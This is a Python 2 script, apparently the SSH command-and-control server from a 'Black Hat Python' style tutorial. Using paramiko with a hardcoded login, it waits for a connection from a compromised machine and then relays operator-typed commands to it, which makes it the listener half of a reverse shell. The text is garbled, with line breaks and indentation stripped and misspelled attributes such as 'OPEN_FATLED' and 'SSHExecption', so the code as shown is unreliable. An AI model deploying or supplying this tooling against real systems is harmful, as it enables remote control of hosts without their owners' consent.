import socketimport paramikoimport threadingimport syshost_key = paramiko.RSAKey(filename='test_rsa.key')class Server(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_channel_request(self,kind,chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FATLED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self,username,password): if(username == 'justin') and (password == 'lovesthepython'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILEDserver = sys.argv[1]ssh_port = int(sys.argv[2])try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) sock.bind((server,ssh_port)) sock.listen(100) print '[+] Listening for connection ...' client,addr = sock.accept()except Exception,e: print '[-] Listen failed: '+ str(e) sys.exit(1)print '[+] Got a connection!'try: bhSession = paramiko.Transport(client) bhSession.add_server_key(host_key) server = Server() try: bhSession.start_server(server=server) except paramiko.SSHExecption,x: print '[-] SSH negotiation failed.' chan = bhSession.accept(20) print '[+] Authenticated!' print chan.recv(1024) chan.send('Welcome to bh_ssh') while True: try: command = raw_input("Enter command:").strip('\n') if command != 'exit': chan.send(command) print chan.recv(1024)+'\n' else: chan.send('exit') print 'exiting' bhSession.close() raise Exception ('exit') except KeyboardInterrupt: bhSession.close()except Exception,e: print '[-] Caught exception:'+str(e) try: bhSession.close() except: pass sys.exit(1)